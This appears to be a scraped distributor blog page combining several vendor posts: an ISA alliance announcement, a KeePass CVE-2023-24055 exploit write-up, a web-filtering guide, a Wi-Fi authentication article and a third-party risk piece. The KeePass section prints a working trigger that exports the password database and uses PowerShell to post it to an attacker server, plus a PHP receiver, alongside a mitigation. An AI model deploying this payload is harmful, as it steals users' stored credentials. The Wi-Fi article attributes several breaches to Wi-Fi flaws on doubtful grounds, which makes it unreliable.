Skip to content

senhasegura’s participation in the ISA Global Cybersecurity Alliance

senhasegura and ISA Global Cybersecurity Alliance

The topic of cyber threats is becoming increasingly present on the agendas of organizations of all sizes and verticals. With the intensification of the digital transformation movement through the introduction of technologies such as 5G and the Internet of Things, ensuring the protection of infrastructure will be an even greater challenge for organizational leaders.

One of the preferred targets of malicious attackers are organizations that use Industrial Control Systems (ICS). ICS processes critical data and is responsible for the functioning of sectors such as telecommunications, logistics, energy generation, and the healthcare sector. These sectors are a vital part of countries’ economies, forming part of what we call critical infrastructure. According to a Kaspersky study, during the second half of 2021, almost 40% of industrial devices were targeted at least once. These attacks bring significant consequences not only for these organizations but for society as a whole.

One of the biggest examples of the damage that attacks on this type of organization bring occurred in 2017. That year, Maersk, a logistics giant, fell victim to the NotPetya malware, a virus with high propagation and destruction capacity that encrypted its data. The attack caused infected devices to simply stop working, affecting the continuity of its operations and bringing revenue losses.

In addition, various governments around the world have shown concern about the impact associated with cybersecurity, especially those linked to critical infrastructure. This has caused an increase in the activity of regulating how companies implement appropriate cybersecurity controls in industrial environments.

As part of the effort to ensure the cybersecurity of control and automation systems, the International Society of Automation (ISA) developed the 62443 series of standards. These standards are internationally recognized and have been adopted by the International Electrotechnical Commission and the United Nations. The ISA 62443 standards define requirements and procedures for the implementation of safe industrial and automation systems, as well as best security practices for these systems. The adoption of the ISA 62443 standards allows industrial organizations to address the challenges related to the cybersecurity of their systems and eliminate the gaps between operations and Information Technology in their infrastructure.

Moreover, with the aim of increasing awareness and protection capability of ICS in industrial and critical infrastructure installations and processes, ISA created the Global Cybersecurity Alliance (GCA). The cybersecurity alliance created by ISA brings together automation and system control providers, IT infrastructure suppliers, service providers, system integrators, and end-users to address threats to ICS together.

ISAGCA also works to stimulate the adoption of the ISA 62443 standards, which allows for increased awareness, knowledge sharing, and tool development to assist organizations in implementing the entire cybersecurity protection lifecycle. ISAGCA members are also committed to working together with government agencies, regulators, and other stakeholders around the world.

ISAGCA members include leading technology and industrial application providers, among which is Senhasegura. senhasegura’s participation in ISAGCA since its foundation allows for the application of our experience in protecting privileged access to achieve the alliance’s objectives, especially those related to ICS protection. senhasegura’s participation in the alliance also allows for identifying gaps, reducing risks, and ensuring that member companies have the appropriate tools to protect their infrastructure from malicious attacks.

All of these aspects also show the commitment of the entire senhasegura team and ISA to the effective security of industrial environments, as well as the importance of advancing together to ensure the application of these standards, methods, and best practices for the protection of industrial systems. In this way, it is possible to ensure not only the security of organizations but of society as a whole.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Segura®
Segura® strive to ensure the sovereignty of companies over actions and privileged information. To this end, we work against data theft through traceability of administrator actions on networks, servers, databases and a multitude of devices. In addition, we pursue compliance with auditing requirements and the most demanding standards, including PCI DSS, Sarbanes-Oxley, ISO 27001 and HIPAA.

KeePass Passwords Theft CVE-2023-240550

Introduction

CVE-2023-24055 is a vulnerability discovered in KeePass version 2.53 The vulnerability allows an attacker with write access to the XML configuration file on a system to steal vault credentials. KeePass is widely used as a free open-source password manager that stores sensitive information locally ,providing some advantages over cloud-based options and making it user-friendly

Set Up The Environment

  1. Go to install KeePass v2.53 from this archive site with the default configuration installation and create a database_file and set the master_key to be ready as in the following picture.

  2. For the attacker machine, I recommend using Kali Linux, which can be downloaded from the official website at kali. In this scenario, the victim machine will be running Windows 10. We will use also tools like Burp Suite as an HTTP proxy to inspect the traffic.

Dynamic Analysis

Based on this PoC the attack vector was through the configuration file located at C:\Program Files\KeePass Password Safe 2\KeePass.config.xml , using the Trigger feature

To explore this feature, let’s take a look at the options toolbar in the KeePass application.

Navigate to Tools > Triggers...

as shown in the following Picture:

The interesting thing here is that Triggers are enabled by default in KeePass, and there is an ‘Initially on’ option that causes the trigger to run every time KeePass starts. This gives an attacker an advantage in running the trigger without enabling it and are more customizable options available such as Event, Condition, and Action

By looking at each option in more detail, I realize that there were numerous options that could be used for malicious purposes, such as the Application started and ready feature. Attackers could exploit this option by using it as an event to trick victims into opening the application and initiating the trigger feature to export data and carry out malicious activities

and The Action option is used to perform specific tasks based on the specified Conditions and Events. These tasks can include executing command lines or URLs and exporting the active database, which can be risky for the user. An attacker can use these options to perform malicious actions, as demonstrated in the PoC

Static Analysis

The app was developed in C# it’s easy to reverse the code but we don’t need it cuz it’s open-source we have all we need in this repo :”

The vulnerability which is password theft in the code is caused by the app’s default policy that doesn’t require the user to enter their master key every time they export their password database. This behavior can be controlled through the app policy, which is located in the ExportUtil.cs file.

by the following code:

public static bool Export(PwExportInfo pwExportInfo, FileFormatProvider fileFormat,
			IOConnectionInfo iocOutput, IStatusLogger slLogger)
		{
			if(pwExportInfo == null) throw new ArgumentNullException("pwExportInfo");
			if(pwExportInfo.DataGroup == null) throw new ArgumentException();
			if(fileFormat == null) throw new ArgumentNullException("fileFormat");

			bool bFileReq = fileFormat.RequiresFile;
			if(bFileReq && (iocOutput == null))
				throw new ArgumentNullException("iocOutput");
			if(bFileReq && (iocOutput.Path.Length == 0))
				throw new ArgumentException();

			PwDatabase pd = pwExportInfo.ContextDatabase;
			Debug.Assert(pd != null);

			if(!AppPolicy.Try(AppPolicyId.Export)) return false;
			if(!AppPolicy.Current.ExportNoKey && (pd != null))
			{
				if(!KeyUtil.ReAskKey(pd, true)) return false;
			}

Simply the Export method in the code ensures that all required parameters are present and valid, and checks the application policy to ensure that exporting data is allowed. If a master key is required for the export process, it prompts the user to enter the master_key . The application policy includes rules such as Export -No Key Repeat, which dictate how the export process should be handled and more as

shows in this picture :

KeePass has two types of configuration files that are managed by the file AppConfigSerializer.cs. This file loads and saves the configuration, and it includes two types of files: enforced configuration files and user-specific configuration files.

note this code have a lot of lines so i will focus my analysis on the two methods most relevant to the CVE which is LoadFromEnforcedConfig(),LoadUserConfiguration()

The LoadFromEnforcedConfig() method reads configuration settings from an enforced_config.xml file, which overrides any user-configured settings. It’s useful for enforcing global settings, like security policies, across multiple instances of KeePass.

On the other hand, the LoadUserConfiguration() method reads user-specific settings from the KeePass.config.xml file. This file allows users to customize KeePass according to their preferences, and it overrides default settings in the sample configuration file.

The enforced configuration file and user-specific configuration file serve different purposes. The enforced configuration file is useful for enforcing global settings, while the user-specific configuration file is helpful for customizing individual user settings.

so by analyzing KeePass flow for vulnerabilities, the user-specific configuration file can be a potential attack vector because it’s user-controlled and can be manipulated to inject malicious code like the following code below in Proof-Of-Concept

In contrast, the enforced configuration file is less vulnerable to attacks since it’s not user-configurable because it’s managed by the system or administrator,.

and in order to use the trigger feature in KeePass through the Application GUI, it is required to enter the master_key while opening the application, if the code is injected into the config file, it is unnecessary to enter the master_key because the trigger will be updated from the config file when the victim opens the application. As shown in the PoC, anyone with write access to the config file can potentially add triggers like the following to exfiltrate the database passwords.

<Triggers>
	<Trigger>
		<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
		<Name>exploit</Name>
		<Events>
			<Event>
				<TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid> 
				<Parameters>
					<Parameter>0</Parameter>
					<Parameter />
				</Parameters>
			</Event>
		</Events>
		<Conditions />
		<Actions>
			<Action>
				<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
				<Parameters>
					<Parameter>C:\Users\STAR TOP\Desktop\exploit.xml</Parameter>
					<Parameter>KeePass XML (2.x)</Parameter>
					<Parameter />
					<Parameter />
				</Parameters>
			</Action>
			<Action>
				<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
				<Parameters>
					<Parameter>PowerShell.exe</Parameter>
					<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
					<Parameter>False</Parameter>
					<Parameter>1</Parameter>
					<Parameter />
				</Parameters>
			</Action>
		</Actions>
	</Trigger>
</Triggers>

During the code analysis, we identified the presence of a globally unique identifier (GUID) under the <Trigger> parameter. This GUID is utilized to identify values, including byte arrays and base64 encoded strings such as lztpSRd56EuYtwwqntH7TQ==, and it is also used to reference the trigger function name exploit.

The second parameter is the TypeGuid , which is another globally unique identifier 2PMe6cxpSBuJxfzi6ktqlw== and that refers to the Application started and ready option in the event part.

and the third parameter that containing D5prW87VRr65NO2xP5RIIg== is used for exporting the active database and selecting the file format as KeePass XML (2.x), and well as setting the file path

then code then uses powershell.exe by referencing the `TypeGuid` which is 2uX4OwcwTBOe7y66y27kxw== to execute a command that performs the exfiltration which means unauthorized copying or transmission of database or important data to the attacker’s server.

by performing the following commands

-ex bypass to bypass the PowerShell execution policy, -c to execute the Invoke-WebRequest cmdlet, which allows sending HTTP/HTTPS requests. -uri to specify the URL of the attacker’s server to receive the encoded data.

-Method to use the POST request method and -Body to include the base64-encoded data of the passwords file in the body of the POST request.

([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('database_path'))) function to convert the data to base64 data and put it in the post-body request

Like the following picture

Patch info

The developer recently removed the Export - No Key Repeat application policy flag in KeePass. As a result, the program now always prompts the user to enter their current master_key when attempting to export data. However, it’s important to note that the patch did not cover the Execute command line \ URL feature. This means that an attacker could potentially use this feature to repeatedly execute malicious code, leading to Windows persistence through the same attack method which is trigger feature

Proof-Of-Concept

this POC I will exploit it manually but it can be automated as seen in the code we have all the important parameters and GUID’s value, it’s not a new bug there is a lot of automation script for this bug GhostPack which is A collection of security-related toolsets.

you find it here KeePassConfig.ps1

1. inject our trigger code to the configuration file KeePass.config.xml between

<TriggerSystem>the trigger code</TriggerSystem>

like the following picture:

2. setting up the attacker server I will use php a built-in web server as the attacker server which will receive and decode the base64 data by the following command php -S 0.0.0.0:80

and we will save this file in the same directory and run the command and wait for the request for the data

<?php

if($_SERVER['REQUEST_METHOD'] == 'POST'){
	$base64_string = file_get_contents('php://input');
	$binary_data = base64_decode($base64_string);
	$file_path = 'path/to/save/file.txt';
	if(file_put_contents($file_path, $binary_data)){
		echo 'File saved successfully.';
	} else {
		echo 'Error saving file.';
	}
}

Simply this code checks if the request is a POST method and retrieves base64-encoded content from the request body. It then decodes and saves the content to a specified file path.

3. while the victim opens the KeePass app the attacker will receive the data file like the following picture:

Mitigation

it’s highly recommended to keep all your applications and software up to date. However, you can be editing the enforced configuration file with the specific policy can be changed by using it’s only accessible for the Administrator account which it namedKeePass.config.enforced.xml

like the following code

<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <Application>
      <TriggerSystem>
         <Enabled>false</Enabled>
      </TriggerSystem>
   </Application>
</Configuration>

The enforced configuration of KeePass disables the trigger feature at an administrator level for all users by default. This mitigation helps prevent unauthorized access, code injection, and data breaches by malicious actors.

Conclusion

As we have seen, we cannot always trust applications to be completely secure, even password managers. For instance, if an affected version of KeePass is used in an Active Directory environment, an attacker can gain access to the passwords of the entire organization.

#CVE-2023-240550

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Choosing the Right Web Filtering Provider for CIPA Compliance: A Guide for Schools and Libraries

As a school or library administrator, you have a responsibility to protect your students or patrons from harmful online content. The Children’s Internet Protection Act (CIPA) requires that you have internet safety policies and filtering measures in place to comply with federal law. However, with so many web filtering providers to choose from, how do you know which one is the right fit for your organization? In this guide, we’ll provide an overview of what to look for when selecting a web filtering provider and explain why SafeDNS is a top choice for schools and libraries seeking CIPA compliance.

Key Considerations When Choosing a Web Filtering Provider

  1. Comprehensive Filtering Capabilities: The web filtering provider you choose should be able to block access to inappropriate content, including malware, phishing sites, and pornography. Look for a provider that offers a wide range of filtering options and the ability to customize filtering settings to your organization’s unique needs.
  2. Reporting and Analytics: It’s important to have visibility into your organization’s web activity to ensure compliance with CIPA requirements and identify potential issues. Look for a provider that offers detailed reporting and analytics features.
  3. Ease of Use: Your web filtering provider should be easy to install, configure, and use. Look for a provider with an intuitive interface and minimal technical requirements.
  4. CIPA Compliance: Your web filtering provider should be fully compliant with CIPA requirements and able to provide the necessary documentation to demonstrate compliance.

Why SafeDNS is a Top Choice for CIPA Compliance

Here’s why SafeDNS is a top choice for schools and libraries seeking CIPA compliance:

  1. Comprehensive Filtering Capabilities: SafeDNS can block access to over 60 categories of inappropriate content, including malware, phishing sites, and pornography. Their customizable filtering engine allows you to tailor filtering settings to your organization’s specific requirements.
  2. Reporting and Analytics: SafeDNS offers detailed reporting and analytics features that allow you to monitor and track web activity for compliance purposes and to identify potential issues.
  3. Ease of Use: SafeDNS is easy to install, configure, and use, even for non-technical users.
  4. CIPA Compliance: SafeDNS is fully compliant with CIPA requirements and can provide the necessary documentation to demonstrate compliance.
    In conclusion, choosing the right web filtering provider is crucial for schools and libraries to comply with CIPA regulations and receive E-Rate funding. SafeDNS is the best option for schools and libraries looking for a comprehensive, easy-to-use, and cost-effective web filtering solution. To learn more about SafeDNS and how to become CIPA compliant, check out our step-by-step guide and checklist, which provide valuable resources for schools and libraries to ensure they are fully compliant and providing a safe and secure learning environment for their students.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About SafeDNS
SafeDNS breathes to make the internet safer for people all over the world with solutions ranging from AI & ML-powered web filtering, cybersecurity to threat intelligence. Moreover, we strive to create the next generation of safer and more affordable web filtering products. Endlessly working to improve our users’ online protection, SafeDNS has also launched an innovative system powered by continuous machine learning and user behavior analytics to detect botnets and malicious websites.

Unpacking Wi-Fi Authentication & the Many Instances in Which Companies Got Caught Slipping

Wi-Fi authentication is the process of verifying the identity of a user or device that wants to connect to a wireless network. Corporate networks, especially those in manufacturing companies, retailers, and healthcare organizations, often require strong authentication mechanisms to ensure the security of their data and systems.

There are several methods of Wi-Fi authentication, including:

  • Pre-Shared Key (PSK) authentication: This method involves the use of a shared password that is distributed to all users who are authorized to connect to the network. This is a simple and easy-to-implement method, but it can be less secure than other methods because the password can be easily shared or intercepted. (NOTE: At Portnox, we strongly urge organizations NOT to use PSKs for network authentication and access due to its inherent vulnerability.)
  • 1X authentication: This method involves the use of a RADIUS (Remote Authentication Dial-In User Service) server that verifies the identity of users or devices attempting to connect to the network. The server uses a certificate-based authentication process, which is much more secure than PSK authentication.

Wi-Fi Authentication Woes Experience by Manufacturers

For many manufacturers, Wi-Fi authentication is critical for ensuring the security of the network and the sensitive data that is transmitted over it. The authentication process must be fast and seamless to avoid disrupting production processes. The use of 802.1X authentication is common in manufacturing companies, as it provides strong security and can easily integrate with existing user management systems.

Manufacturing companies are also vulnerable to cyber-attacks that target their Wi-Fi networks. Here are some examples of notable cyber-attacks against manufacturers that targeted Wi-Fi networks:

  • NotPetya ransomware attack: In June 2017, the NotPetya ransomware attack affected several global manufacturers, including Merck, FedEx, and Maersk. The attack exploited a vulnerability in Ukrainian accounting software and spread rapidly, encrypting data on infected machines, and demanding a ransom in exchange for the decryption key.
  • Dragonfly 2.0 attacks: Between 2015 and 2018, a group of hackers known as Dragonfly 2.0 targeted energy and manufacturing companies in the US, Europe, and Asia. The attacks included the use of spear-phishing emails and the installation of malware on targeted systems, potentially providing a gateway to the companies’ Wi-Fi networks.
  • Havex malware attack: In 2013, a group of hackers known as Energetic Bear targeted several industries, including manufacturing and energy. The attacks included the use of spear-phishing emails and the installation of malware known as Havex on targeted systems. The malware was designed to collect data on the systems, potentially including login credentials for Wi-Fi networks used by the manufacturers.
  • Trisis malware attack: In 2017, a malware attack known as Trisis targeted a Saudi Arabian petrochemical plant. The malware was designed to manipulate the plant’s safety systems, potentially causing a catastrophic industrial accident. The attack reportedly exploited vulnerabilities in the plant’s Wi-Fi network.

Retailers Caught with Their Wi-Fi Pants Down

In the retail industry, Wi-Fi authentication is used for both internal and external purposes. Retailers use Wi-Fi networks to provide internet access to their customers, but also to manage their inventory and point-of-sale systems. Strong authentication is important for protecting sensitive customer information and preventing unauthorized access to sales data.

Retailers are also vulnerable to cyber-attacks that target their Wi-Fi networks. Here are some examples of notable cyber-attacks against retailers that targeted Wi-Fi networks:

  • Target data breach: In 2013, hackers gained access to Target’s network through a vulnerability in the company’s HVAC system, which was connected to Target’s Wi-Fi network. The hackers stole data on 40 million credit and debit cards and 70 million customer records.
  • Home Depot data breach: In 2014, hackers gained access to Home Depot’s network through a vulnerability in the company’s Wi-Fi network. The hackers stole data on 56 million credit and debit cards and 53 million customer email addresses.
  • Wendy’s data breach: In 2016, hackers gained access to Wendy’s network through a vulnerability in the company’s Wi-Fi network. The hackers stole data on 18 million payment cards used at Wendy’s restaurants.
  • Forever 21 data breach: In 2017, hackers gained access to Forever 21’s network through a vulnerability in the company’s Wi-Fi network. The hackers stole data on credit and debit cards used at certain Forever 21 stores.

Wi-Fi Hacks in Healthcare that Just Hurt

Wi-Fi authentication is used widely across the Healthcare industry to ensure the security of patient data and to comply with HIPAA regulations. Healthcare organizations require a high level of security for their networks, as the data transmitted over them can include sensitive medical information.

There have been several notable cyber-attacks against healthcare organizations that targeted Wi-Fi networks. Here are a few examples:

  • WannaCry ransomware attack: In May 2017, the WannaCry ransomware attack affected healthcare organizations in the UK, Spain, and other countries. The attack exploited a vulnerability in Microsoft Windows systems and spread quickly, encrypting data on infected machines, and demanding a ransom in exchange for the decryption key.
  • VPNFilter malware attack: In 2018, the US Department of Justice announced that a group of Russian hackers known as APT28 had infected hundreds of thousands of routers with malware known as VPNFilter. The malware allowed the hackers to steal data and control the routers, potentially providing a gateway to the healthcare organizations’ Wi-Fi networks.
  • ShadowPad backdoor attack: In 2017, researchers discovered that the popular CCleaner software had been compromised, with a backdoor known as ShadowPad installed on users’ systems. The backdoor allowed hackers to gain access to sensitive data, potentially including login credentials for Wi-Fi networks used by healthcare organizations.
  • BlueBorne Bluetooth attack: In 2017, researchers discovered a vulnerability in Bluetooth devices that could allow hackers to take control of devices without user interaction. This could potentially allow hackers to gain access to Wi-Fi networks used by healthcare organizations, which often rely on Bluetooth-enabled devices for patient monitoring and other purposes.

If Only They Used 802.1X for Wi-Fi Authentication

As we mentioned earlier, and as some of these hacks will illustrate, 802.1x authentication is considered the most secure WiFi authentication method because it provides a way for the network to verify the identity of each client device that tries to connect to the network. Here are some reasons why:

  • User authentication:1x authentication requires users to provide their unique credentials, such as username and password, before being granted access to the network. This helps ensure that only authorized users are accessing the network and that their activities can be tracked and monitored.
  • Mutual authentication: In addition to verifying the identity of the client device, 802.1x authentication also verifies the identity of the network. This means that both the client and the network have to authenticate each other before allowing access, which helps prevent man-in-the-middle attacks.
  • Dynamic encryption keys: With 802.1x authentication, each client device is assigned a unique encryption key that is used to secure the communication between the client and the network. These keys are dynamically generated, meaning they change frequently, which makes it difficult for attackers to intercept and decode the network traffic.
  • Granular access control:1x authentication allows network administrators to define access policies based on user roles, device types, and other factors. This enables them to control exactly who has access to which parts of the network, reducing the risk of unauthorized access.

Overall, 802.1x authentication provides strong security for WiFi networks by requiring user authentication, mutual authentication, dynamic encryption keys, and granular access control. While it may be more complex to set up and manage than other authentication methods, the extra security measures it provides can help protect against a range of attacks and keep sensitive data and resources safe.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Portnox
Portnox provides simple-to-deploy, operate and maintain network access control, security and visibility solutions. Portnox software can be deployed on-premises, as a cloud-delivered service, or in hybrid mode. It is agentless and vendor-agnostic, allowing organizations to maximize their existing network and cybersecurity investments. Hundreds of enterprises around the world rely on Portnox for network visibility, cybersecurity policy enforcement and regulatory compliance. The company has been recognized for its innovations by Info Security Products Guide, Cyber Security Excellence Awards, IoT Innovator Awards, Computing Security Awards, Best of Interop ITX and Cyber Defense Magazine. Portnox has offices in the U.S., Europe and Asia. For information visit http://www.portnox.com, and follow us on Twitter and LinkedIn.。

Why Enterprises Must Implement a Third-Party Data Risk Management Strategy

What’s the very last thing a business wants to tell its customers? Without a doubt, it’s that their data may have been compromised due to a third-party vendor data breach.

Today’s cyber landscape is more complex, riskier, and costlier than ever. Most cybersecurity experts and professionals know a majority of cyber breaches are the result of human error. However, they all too often (and mistakenly) associate these human-caused digital infringements as inside jobs – an employee innocently clicks on a malicious link sent via email, or the internal IT guy or gal forgot to perform a software patch or update.

Still, believing an organization’s internal staff is primarily responsible for these breaches could be an even more catastrophic mistake. The one place CISOs and cybersecurity managers often fail to look when it comes to a human-error-caused breach is at their outside, third-party vendors.

Did you know that 60% of all data breaches are initiated via third-party vendors?

To add insult to injury, according to a recent study by third-party cyber risk intelligence provider Black Kite, unauthorized network access is the most common root cause of third-party attacks, initiating 40% of the third-party breaches last year.

There’s a disconnect when it comes to third-party data risk

There is a startling disconnect between an organization’s perceived third-party data risks and the security measures it implements to avoid such threats. As a result, organizations are not taking the necessary steps to reduce remote access threats and are exposing their networks to security breaches and liabilities.

A recent Ponemon Institute study revealed that 44% of organizations surveyed have experienced a breach within the last 12 months, with 74% stating it resulted from giving too much privileged access to third-party vendors.

As businesses increasingly rely on outside vendors for increased efficiency and to provide specialized services such as IT infrastructure management, cloud services, cybersecurity, or any function that requires access and handling of sensitive data and mission-critical resources, they must take into account the consequences of failing to implement a third-party risk management strategy.

According to Gartner, cybercriminals increasingly use third parties, such as software vendors, to attack essential targets. Organizations often have no centralized control over these third-parties. The relationships are often complex and unsecure. As a result, there is an increased risk of data breaches, cyber-attacks, and other security incidents.

Deloitte recently identified three key emerging trends that drive increased third-party risk:

1. Increased incidents related to vendors: Suppliers are causing more disruption, and risks are not being managed. Threat examples include information security, privacy, and anti-fraud management.

2. Regulators are focusing on supplier risk: Regulators are increasing the pressure on organizations to better manage their supply chain risk.

3. Pressures from economic volatility: Economic conditions mean tighter margins for suppliers and an increased risk of supplier disruption.

Because of this grim reality, organizations need to shift their mindset when protecting not only their data but also their customer and partner data.

Shifting the mindset to risk quantification

This mindset shift needs to include risk quantification, in that it not only needs to assess the types of risks out there and any potential vulnerabilities, but to also use it as an indicator of how to manage these risks. A third-party risk management strategy is the best way to quantify which risks your third-party vendors might contribute to.

Here are some reasons why enterprises must quantify the risks and implement a third-party data risk management strategy:

1. Protect sensitive data: Enterprises are responsible for protecting sensitive data, such as personally identifiable information (PII) and financial data. A third-party data risk management strategy can help ensure third-party vendors are properly vetted and adhere to the enterprise’s security procedures, policies and standards.

2. Compliance with regulations: Many industries have regulations that govern the handling and protection of data. Enterprises must ensure third-party vendors comply with these regulations, as they can be held responsible for data breaches.

3. Reputation management: A data breach or security incident involving a third-party vendor can significantly impact a business’s reputation. Implementing a third-party data risk management strategy can help mitigate these risks and protect the enterprise’s public perception.

4. Business continuity: A security incident involving an outside vendor can disrupt business operations and result in significant financial losses. A third-party data risk management strategy can help ensure these vendors have the necessary security controls to prevent such incidents.

Best practices in minimizing third-party data risk

The first step in implementing a third-party data risk management strategy is to identify all vendors your organization works with, including their contact information and the services or products they provide.

Here are some best practices to ensure your third-party vendors remain compliant and that your organization’s protect surface is indeed protected:

1. Assess the risk: Once you have identified your vendors, assess the risk associated with each. This assessment should include the type of data they will be handling, the level of access they will need to perform their job, and the security protocols they have in place.

2. Implement a zero trust policy: Zero Trust is quickly evolving as the go-to cybersecurity defense mechanism to reduce cyber threats. As the threat landscape continues to expand and progress, organizations must implement Zero Trust policies that outline the minimum security requirements vendors must meet to be granted access to your systems and data. This policy should be based on the risk assessment and include access controls, data handling procedures, and security training requirements.

3. Ensure all third-party vendors have their own cybersecurity risk & monitoring plan: Perform a risk assessment of each vendor to determine the policies and procedures they have in place to mitigate a threat. This assessment should include evaluating their security controls, data handling practices, incident detection and response protocols, and compliance with regulatory requirements.

4. Verify that your vendors also follow best practices with THEIR vendors: When it comes to enterprise networking, there are many hands in the pot. To best ensure your vendors are compliant, confirm they have policies and procedures in place to maintain confidentiality, access privileges, and provide security training for their vendors who might have access to your network and data.

5. Monitor vendor activity: Continuously monitor third-party vendor activity to ensure they comply with your security requirements and policies. Implement logging, notification, and auditing procedures to track vendor access and activities. If there is any suspicious activity, investigate and take appropriate action immediately.

6. Foster a culture of cybersecurity: A culture of cybersecurity and awareness throughout your organization and among third-party vendors ensures everyone is on the same page and with the same threat prevention mindset. Provide security awareness training to employees and vendors and encourage them to report any security incidents or concerns.

7. Enforce policies, systems, and procedures: Ensure that the security policies and practices are enforced and that vendors are held accountable for any breaches or violations. You can use contracts and service level agreements (SLAs) to establish vendor accountability.

8. Review and update regularly: Regularly review and update your security policies and practices to reflect any changes in your organization’s security posture or any new threats that may arise.

Vendor security management should be a priority for any business that relies on outside parties to handle and manage its vital business data and networks. A third-party data risk management strategy is essential to maintaining customer trust, so you never have to deliver the dreaded news of a breach. However, it requires a comprehensive approach to security that involves identifying risks, establishing policies, monitoring activities, and enforcing compliance. By following these steps, you can protect your organization from third-party data risks and ensure you meet the evolving threat landscape.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Portnox
Portnox provides simple-to-deploy, operate and maintain network access control, security and visibility solutions. Portnox software can be deployed on-premises, as a cloud-delivered service, or in hybrid mode. It is agentless and vendor-agnostic, allowing organizations to maximize their existing network and cybersecurity investments. Hundreds of enterprises around the world rely on Portnox for network visibility, cybersecurity policy enforcement and regulatory compliance. The company has been recognized for its innovations by Info Security Products Guide, Cyber Security Excellence Awards, IoT Innovator Awards, Computing Security Awards, Best of Interop ITX and Cyber Defense Magazine. Portnox has offices in the U.S., Europe and Asia. For information visit http://www.portnox.com, and follow us on Twitter and LinkedIn.。

×

Hello!

Click one of our contacts below to chat on WhatsApp

×